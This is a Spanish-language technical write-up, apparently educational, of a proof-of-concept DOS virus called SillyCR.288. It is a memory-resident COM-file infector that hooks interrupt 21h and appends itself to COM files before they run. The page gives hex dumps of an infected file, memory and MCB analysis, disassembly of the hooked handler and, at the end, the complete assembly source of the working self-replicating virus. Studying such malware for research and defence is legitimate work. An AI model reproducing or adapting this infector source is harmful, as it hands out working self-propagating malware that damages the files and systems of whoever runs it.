Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por postpending (adición posterior) en archivos COM. El virus permanece residente ocultándose en el tope de memoria convencional con un bloque de memoria reservado. Intercepta los servicios I/O de DOS para infectar archivos antes de ser ejecutados.
Método de infección
Durante la infección, el virus reemplaza los primeros bytes del archivo huésped
(cabezal original) con una instrucción JMP
(cabezal viral) que dirige el flujo
de ejecución hacia el final del archivo donde se añade el cuerpo viral. El cabezal
original reemplazado es guardado en el cuerpo viral.
Cuando un archivo infectado es ejecutado, el virus se carga en memoria junto con este y
se ejecuta primero realizando sus propias acciones, al terminar restaura el cabezal original
en el offset CS:0100
(dirección de memoria donde se cargan los archivos COM en DOS) y salta
hacia dicho offset para permitirle al huésped su ejecución normal. Esto último dificulta la
detección por parte del usuario.
El cabezal viral contiene además una firma, el byte 'V'
, utilizada para reconocimiento
de archivos ya infectados.
La primer generación del virus es diferente a las siguientes. La primera no tiene cabezal viral, ya que no está adherida a un huésped. Las siguientes generaciones al estar adheridas a un huésped se diferencian por tener cabezal y cuerpo viral.
Como resultado de la infección:
- Los archivos infectados ocuparán más espacio al contener el código viral. Con técnicas de stealth esta información se puede ocultar del usuario para dificultar su detección.
- Los archivos infectados tendrán un tiempo de ejecución mayor al incluir la pre ejecución del virus.
Residencia en memoria
El virus permanece residente ocultandose en el tope de memoria convencional (por debajo de 640KB - segmento A000). Para esto reduce la cantidad de memoria asignada al archivo huésped dejando suficiente espacio libre para un bloque de memoria con el código viral y su MCB correspondiente, luego reserva dicho bloque y establece a DOS como su dueño para que no sea liberado al finalizar la ejecucion del huésped. Durante la infección, el virus reconoce si ya se encuentra residente mediante un servicio propio en la interrupción 21h.
Método de propagación
El virus modifica el handler original de la interrupción 21h cambiando el vector del handler en la IVT (Interrupt Vector Table) para interceptar las llamadas a los servicios I/O de DOS. Esto tiene dos objetivos:
- Proveer un servicio de reconocimiento propio para saber si ya se encuentra residente en memoria.
- Detectar las ejecuciones de archivos en el sistema para infectarlos antes de que estos se ejecuten.
Otros detalles
- Se utiliza una técnica básica para calcular el $\Delta$ offset, este es el posicionamiento relativo del virus en el archivo infectado. Esta técnica es detectada por cualquier anti-virus decente.
- El virus no verifica que el tamaño del archivo COM sea adecuado para la infección. Si luego de la infección el tamaño total supera los 64KB, ya no es un archivo COM válido.
Flujo de ejecución
Al ejecutarse un archivo infectado, el virus se hace residente en memoria y modifica la IVT:
Cuando el virus ya es residente en memoria, intercepta todas las llamadas a la interrupción 21h:
Análisis estático
Hex dump de un archivo sano de tamaño 80 bytes:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 B4 09 BA 39 01 CD 21 90 ´.º9.Í!. 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$
Hex dump del archivo infectado:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 E9 4D 00 56 01 CD 21 90 éM.V.Í!. Cabezal viral 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$ 0x0050 E8 00 00 5D 81 ED 0B 01 è..].í.. Cuerpo viral 0x0058 B8 CD AB CD 21 3D 9A 02 ¸Í«Í!=š. 0x0060 74 4D B4 4A BB FF FF CD tM´J»ÿÿÍ 0x0068 21 B4 4A 83 EB 14 CD 21 !´Jƒë.Í! 0x0070 B4 48 BB 13 00 CD 21 48 ´H»..Í!H 0x0078 8E C0 26 C6 06 00 00 5A ŽÀ&Æ...Z 0x0080 26 C7 06 01 00 08 00 8D &Ç...... 0x0088 B6 08 01 40 8E C0 BF 00 ¶..@ŽÀ¿. 0x0090 00 B9 20 01 F3 A4 8E D8 .¹ .ó¤ŽØ 0x0098 B4 35 B0 21 CD 21 89 1E ´5°!Í!‰. 0x00A0 18 01 8C 06 1A 01 B4 25 ..Œ...´% 0x00A8 B0 21 BA 76 00 CD 21 8C °!ºv.Í!Œ 0x00B0 C8 8E D8 8E C0 B9 04 00 ÈŽØŽÀ¹.. 0x00B8 8D B6 24 02 BF 00 01 F3 .¶$.¿..ó 0x00C0 A4 B8 00 01 FF E0 3D CD ¤¸..ÿà=Í 0x00C8 AB 74 08 3D 00 4B 74 07 «t.=.Kt. 0x00D0 E9 94 00 B8 9A 02 CF 9C é”.¸š.Ïœ 0x00D8 50 53 51 52 56 1E 8B F2 PSQRV.‹ò 0x00E0 AC 0A C0 74 13 3C 2E 75 ¬.Àt.<.u 0x00E8 F7 AC 3C 43 75 0A AC 3C ÷¬<Cu.¬< 0x00F0 4F 75 05 AC 3C 4D 74 02 Ou.¬<Mt. 0x00F8 EB 62 B4 3D B0 02 CD 21 ëb´=°.Í! 0x0100 72 5E 93 0E 1F B4 3F BA r^“..´?º 0x0108 1C 01 B9 04 00 CD 21 72 ..¹..Í!r 0x0110 4B 80 3E 1F 01 56 74 44 K€>..VtD 0x0118 B4 42 B0 02 33 C9 33 D2 ´B°.3É3Ò 0x0120 CD 21 72 38 A3 20 01 B4 Í!r8£ .´ 0x0128 40 B9 20 01 BA 00 00 CD @¹ .º..Í 0x0130 21 72 29 A1 20 01 2D 03 !r)¡ .-. 0x0138 00 C6 06 22 01 E9 A3 23 .Æ.".é£# 0x0140 01 C6 06 25 01 56 B4 42 .Æ.%.V´B 0x0148 B0 00 33 C9 33 D2 CD 21 °.3É3ÒÍ! 0x0150 72 0A B4 40 B9 04 00 BA r.´@¹..º 0x0158 22 01 CD 21 B4 3E CD 21 ".Í!´>Í! 0x0160 1F 5E 5A 59 5B 58 9D EA .^ZY[X.ê 0x0168 A0 14 00 F0 B4 09 BA 39 ..ð´.º9 Cabezal original
Análisis dinámico
Se considera un archivo infectado VTEST.COM en un ambiente MS-DOS 6.22, Microsoft Virtual PC 6.0 con VM Additions.
Uso de memoria
Antes de la infección
Resultado de MEM /C
:
Name Total = Conventional + Upper Memory -------- ---------------- ---------------- ---------------- MSDOS 16,157 (16K) 16,157 (16K) 0 (0K) SETVER 480 (0K) 480 (0K) 0 (0K) HIMEM 1,120 (1K) 1,120 (1K) 0 (0K) DISPLAY 8,304 (8K) 8,304 (8K) 0 (0K) CDROM 4,224 (4K) 4,224 (4K) 0 (0K) COMMAND 2,928 (3K) 2,928 (3K) 0 (0K) SMARTDRV 29,024 (28K) 29,024 (28K) 0 (0K) KEYB 6,944 (7K) 6,944 (7K) 0 (0K) FSHARE 26,576 (26K) 26,576 (26K) 0 (0K) IDLE 528 (1K) 528 (1K) 0 (0K) MSCDEX 32,096 (31K) 32,096 (31K) 0 (0K) MOUSE 8,880 (9K) 8,880 (9K) 0 (0K) Free 516,976 (505K) 516,976 (505K) 0 (0K) Memory Summary: Type of Memory Total = Used + Free ---------------- ---------- ---------- ---------- Conventional 654,336 137,360 516,976 Upper 0 0 0 Reserved 0 0 0 Extended (XMS) 15,663,104 2,162,688 13,500,416 ---------------- ---------- ---------- ---------- Total memory 16,317,440 2,300,048 14,017,392 Total under 1 MB 654,336 137,360 516,976
Después de la infección
Resultado de MEM /C
:
Name Total = Conventional + Upper Memory -------- ---------------- ---------------- ---------------- MSDOS 16,477 (16K) 16,477 (16K) 0 (0K) SETVER 480 (0K) 480 (0K) 0 (0K) HIMEM 1,120 (1K) 1,120 (1K) 0 (0K) DISPLAY 8,304 (8K) 8,304 (8K) 0 (0K) CDROM 4,224 (4K) 4,224 (4K) 0 (0K) COMMAND 2,928 (3K) 2,928 (3K) 0 (0K) SMARTDRV 29,024 (28K) 29,024 (28K) 0 (0K) KEYB 6,944 (7K) 6,944 (7K) 0 (0K) FSHARE 26,576 (26K) 26,576 (26K) 0 (0K) IDLE 528 (1K) 528 (1K) 0 (0K) MSCDEX 32,096 (31K) 32,096 (31K) 0 (0K) MOUSE 8,880 (9K) 8,880 (9K) 0 (0K) Free 516,656 (505K) 516,656 (505K) 0 (0K) Memory Summary: Type of Memory Total = Used + Free ---------------- ---------- ---------- ---------- Conventional 654,336 137,680 516,656 Upper 0 0 0 Reserved 0 0 0 Extended (XMS) 15,663,104 2,162,688 13,500,416 ---------------- ---------- ---------- ---------- Total memory 16,317,440 2,300,368 14,017,072 Total under 1 MB 654,336 137,680 516,656
No se observan nuevos modulos. Pero disminuye la cantidad de memoria convencional libre en 320 bytes.
Información de MCBs en memoria:
No. Address Size Id Owner
===================================================
0. 0000 1024 INTERRUPT TABLE
1. 0253 20608 DOS PARAMETERS BLOCK
2. 075C 64 DOS DATA
3. 0761 2640 P COMMAND.COM ( COPY 1 )
4. 0807 64 This block is free
5. 080C 256 E COMMAND.COM ( COPY 1 )
6. 081D 80 This block is free
7. 0823 29008 P UNKNOWN
8. 0F39 6928 P UNKNOWN
9. 10EB 112 E C:\VMADD\FSHARE.EXE
10. 10F3 26432 P C:\VMADD\FSHARE.EXE
11. 1768 112 E C:\VMADD\IDLE.COM
12. 1770 32080 P UNKNOWN
13. 1F46 384 P C:\VMADD\IDLE.COM
14. 1F5F 112 E C:\VMADD\MOUSE.COM
15. 1F67 8736 P C:\VMADD\MOUSE.COM
16. 218A 516624 This block is free
17. 9FAC 304 E Last MCB ends at 9FC0
Hay un nuevo MCB en 9FAC que reserva un bloque de 304 bytes. Este bloque se encuentra en el tope de memoria convencional.
El código viral tiene en memoria un tamaño de 294 B (288 B de código + 6 B reservados para datos), pero por el alineamiento en párrafos (16 B) el próximo múltiplo de 16 es $\lceil\frac{294}{16}\rceil \times 16 = 304 B$. Además, el bloque tiene un MCB correspondiente de 16 B, por lo tanto el virus tiene un tamaño total de 320 B.
Handler de 21h
La IVT ocupa los primeros 1024 bytes de memoria RAM, segmento 0000.
El vector de la interrupción 21h es la dirección de memoria del handler en
forma de 4 bytes segmento:offset
, este se encuentra en el offset 84h de la IVT.
Antes de la infección Hex dump de los 4 bytes del vector 21h:
-D 0000:0084 L4 0000:0080 E1 20 04 11
El handler original de 21h se encuentra en 1104:20E1.
Después de la infección Hex dump de los 4 bytes del vector 21h:
-D 0000:0084 L4 0000:0080 76 00 AD 9F
El vector ya no es el mismo.
Desensamblado del handler referenciado por el nuevo vector:
-U 9FAD:0076 9FAD:0076 3DCDAB CMP AX,ABCD ; inicio del handler viral 9FAD:0079 7408 JZ 0083 9FAD:007B 3D004B CMP AX,4B00 9FAD:007E 7407 JZ 0087 9FAD:0080 E99400 JMP 0117 9FAD:0083 B89A02 MOV AX,029A 9FAD:0086 CF IRET 9FAD:0087 9C PUSHF 9FAD:0088 50 PUSH AX 9FAD:0089 53 PUSH BX 9FAD:008A 51 PUSH CX 9FAD:008B 52 PUSH DX 9FAD:008C 56 PUSH SI 9FAD:008D 1E PUSH DS 9FAD:008E 8BF2 MOV SI,DX 9FAD:0090 AC LODSB 9FAD:0091 0AC0 OR AL,AL 9FAD:0093 7413 JZ 00A8 9FAD:0095 3C2E CMP AL,2E
API utilizada
Se utilizan 10 servicios de la DOS API mediante la interrupción de software 21h.
Servicio | AH | Parámetros | Retorno | Versión DOS |
---|---|---|---|---|
Terminar programa | 00h | - | - | 1+ |
Establecer vector en IVT | 25h | AL = número de interrupción | DS:DX = puntero al nuevo handler de la interrupción | 2+ |
Obtener vector de IVT | 35h | AL = número de interrupción | ES:BX = puntero al handler de la interrupción | 2+ |
Abrir archivo existente | 3Dh | AL = modos de acceso e intercambio DS:DX -> nombre del archivo (ASCIZ) |
Éxito: CF = 0, AX = handle del archivo Error: CF = 1, AX = código de error |
2+ |
Cerrar archivo | 3Eh | BX = handle del archivo | Éxito: CF = 0, AX destruido Error: CF = 1, AX = código de error |
2+ |
Lectura de archivo o dispositivo |
3Fh | BX = handle del archivo CX = nro. de bytes DS:DX -> offset donde guardar datos |
Éxito: CF = 0, AX = nro. de bytes transferidos Error: CF = 1, AX = código de error |
2+ |
Escribir en archivo o dispositivo |
40h | BX = handle del archivo CX = nro. de bytes DS:DX -> datos a escribir |
Éxito: CF = 0, AX = nro. de bytes escritos Error: CF = 1, AX = código de error |
2+ |
Establecer puntero de archivo | 42h | AL = código de desplazamiento BX = handle del archivo CX = mitad mayor de desplazamiento DX = mitad menor de desplazamiento |
Éxito: CF = 0, CX = mitad mayor, DX = mitad menor Error: CF = 1, AX = código de error |
2+ |
Asignar memoria | 48h | BX = tamaño de bloque, en párrafos | Éxito: CF = 0, AX = segmento de bloque creado Error: CF = 1, AX = código de error, BX = cantidad máxima disponible |
2+ |
Modificar asignación de memoria | 4Ah | ES = segmento de bloque a modificar BX = nuevo tamaño de bloque |
Éxito: CF = 0 Error: CF = 1, AX = código de error, BX = cantidad máxima disponible |
2+ |
Código fuente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
;##############################################################################
;# Nombre: virus://DOS/SillyCR.288
;# Plataforma: Intel x86
;# SO: DOS v2.0+
;# Lenguaje: ASM x86-16 (sintaxis Intel)
;# Herramientas: TASM v4.1, TLINK v7.1.30
;# Tipo: Postpending, Resident, COM infector
;# Tamaño: 288 bytes
;# Propagación: En archivos COM antes de ser ejecutados (INT 21h - AH=4B).
;# Infección: Postpending en archivos COM (no READ-ONLY).
;# Residente: Si. En el tope de memoria convencional (0-640KB).
;# Stealth: No
;# Payload: No
;##############################################################################
.8086
.model tiny
assume cs:virus, ds:virus
V_OFFSET equ 0 - 100h - 8 ; offset base para direccionamiento en el segmento viral
virus segment byte public 'CODE'
org 100h
start:
jmp short body ; cabezal, en las siguientes generaciones aquí
nop ; habrá un near JMP de 3 bytes
db 'V' ; firma viral
mov ah, 00h ; / huésped dummy, solo retorna a DOS
int 21h ; \
body:
call d_offset ; calcular delta offset
d_offset:
pop bp
sub bp, offset d_offset
mov ax, 0ABCDh ; | AX = 0ABCDh
int 21h ; |_DOS API - Llamar servicio de reconocimiento del virus
cmp ax, 029Ah ; verificar código de respuesta
je run_host ; si es 666 (29Ah), ejecutar huésped
mov ah, 4Ah ; | AH = 4Ah
mov bx, 0FFFFh ; | BX = cantidad ridícula de memoria
int 21h ; |_DOS API - Modificar asignación de memoria
; BX = cantidad máxima disponible
mov ah, 4Ah ; | AH = 4Ah
sub bx, ((ALLOC_SIZE + 15) / 16) + 1 ; | BX = BX menos la memoria que requiere el virus + 1, en párrafos
int 21h ; |_DOS API - Modificar asignación de memoria
mov ah, 48h ; | AH = 48h
mov bx, (ALLOC_SIZE + 15) / 16 ; | BX = la memoria que requiere el virus, en párrafos
int 21h ; |_DOS API - Asignar memoria
dec ax
mov es, ax ; ES = MCB del segmento viral
mov byte ptr es:[0000], 'Z' ; marcar como fin de la cadena de bloques
mov word ptr es:[0001], 0008 ; establecer DOS como dueño del bloque
lea si, [bp + body] ; origen: inicio del código viral en archivo
inc ax
mov es, ax ; ES = segmento viral
mov di, 0 ; destino: inicio del código en segmento viral
mov cx, VIRUS_SIZE ; tamaño del virus
rep movsb ; copiar virus de origen a destino
mov ds, ax ; DS = segmento viral
mov ah, 35h ; | AH = 35h
mov al, 21h ; | AL = número de interrupción, 21h
int 21h ; |_DOS API - Obtener vector en ES:BX
mov ds:[V_OFFSET + vector_int21], bx ; guardar vector original de INT 21h
mov ds:[V_OFFSET + vector_int21 + 2], es
mov ah, 25h ; | AH = 25h
mov al, 21h ; | AL = número de interrupción, 21h
mov dx, V_OFFSET + offset handler_int21h ; | DS:DX -> dirección del nuevo handler: handler_int21h
int 21h ; |_DOS API - Cambiar vector
run_host:
mov ax, cs
mov ds, ax ; restaurar DS
mov es, ax ; restaurar ES
mov cx, 4
lea si, [bp + host_head]
mov di, 100h
rep movsb ; restaurar cabezal original
mov ax, 100h
jmp ax ; saltar a CS:100 y ejecutar huésped
handler_int21h:
cmp ax, 0ABCDh ; llamada de reconocimiento del virus:
je service_ABCD ; responder y retornar
cmp ax, 4B00h ; llamada para ejecutar archivo:
je infect_file ; infectar y delegar
jmp handler_old ; en otro caso, delegar al handler original de INT 21h
service_ABCD:
mov ax, 029Ah ; código de respuesta: 666 (29Ah)
iret ; retornar de la interrupción
infect_file:
pushf ; guardar estado CPU
push ax ; guardar registros que serán utilizados
push bx
push cx
push dx
push si
push ds
; por la llamada AX=4B00h, DS:DX apunta al nombre del archivo
mov si, dx ; verificar que sea extensión ".COM"
loop_str:
lodsb
or al, al
jz check_fail
cmp al, '.'
jne loop_str
lodsb
cmp al, 'C'
jne check_fail
lodsb
cmp al, 'O'
jne check_fail
lodsb
cmp al, 'M'
je check_ok
check_fail:
jmp close_file
check_ok:
mov ah, 3Dh ; | AH = 3Dh
mov al, 2 ; | AL = 2, lectura y escritura
int 21h ; |_DOS API – Abrir archivo existente
jc exit ; si no se puede abrir archivo, restaurar y delegar
xchg ax, bx ; handle de archivo en BX
push cs
pop ds ; MOV DS, CS
mov ah, 3Fh ; | AH = 3Fh
mov dx, V_OFFSET + offset host_head ; | DS:DX -> destino: buffer para cabezal original
mov cx, 4 ; | CX = tamaño del cabezal, 4 bytes
int 21h ; |_DOS API - Leer de archivo/dispositivo
jc close_file ; no se puede leer el archivo, cerrarlo
cmp byte ptr ds:[V_OFFSET + host_head + 3], 'V' ; comparar 4to byte con la firma viral 'V'
je close_file ; si el archivo ya esta marcado, cerrarlo
mov ah, 42h ;| AH = 42h
mov al, 2 ;| AL = 2, fin del archivo
xor cx, cx ;| CX = 0
xor dx, dx ;| DX = 0
int 21h ;|_DOS API - Establecer puntero en archivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ds:[V_OFFSET + file_size], ax
mov ah, 40h ; | AH = 40h
mov cx, VIRUS_SIZE ; | CX = tamaño del virus
mov dx, 0 ; | DS:DX -> origen: inicio del código viral
int 21h ; |_DOS API - Escribir en archivo/dispositivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ax, ds:[V_OFFSET + file_size] ; calcular el largo del JMP para el cabezal viral
sub ax, 3 ; restarle 3 bytes del near JMP
mov byte ptr ds:[V_OFFSET + tmp_head], 0E9h ; construir cabezal viral en buffer temporal (E9h = near JMP)
mov word ptr ds:[V_OFFSET + tmp_head + 1], ax
mov byte ptr ds:[V_OFFSET + tmp_head + 3], 'V'
mov ah, 42h ; | AH = 42h
mov al, 0 ; | AL = 0, principio del archivo
xor cx, cx ; | CX = 0
xor dx, dx ; | DX = 0
int 21h ; |_DOS API - Establecer puntero en archivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ah, 40h ; | AH = 40h
mov cx, 4 ; | CX = tamaño del cabezal, 4 bytes
mov dx, V_OFFSET + offset tmp_head ; | DS:DX -> origen: buffer temporal para cabezal viral
int 21h ; |_DOS API - Escribir en archivo/dispositivo
close_file:
mov ah, 3Eh ; | AH = 3Eh
int 21h ; |_DOS API - Cerrar archivo
exit:
pop ds ; restaurar registros y estado CPU
pop si
pop dx
pop cx
pop bx
pop ax
popf
handler_old:
db 0EAh ; JMP FAR
vector_int21 dw ?, ? ; vector original de INT 21h (4 bytes)
host_head db 90h, 90h, 90h, 90h ; buffer para cabezal original
VIRUS_SIZE equ ($ - body) ; tamaño del virus
file_size dw ? ; buffer temporal para tamaño del huésped
tmp_head db 4 dup (?) ; buffer temporal para cabezal viral
ALLOC_SIZE equ ($ - body) ; espacio a reservar para el virus
virus ends
end start
Bibliografía
- Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
- Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
- Phalcon-Skism. 40-Hex.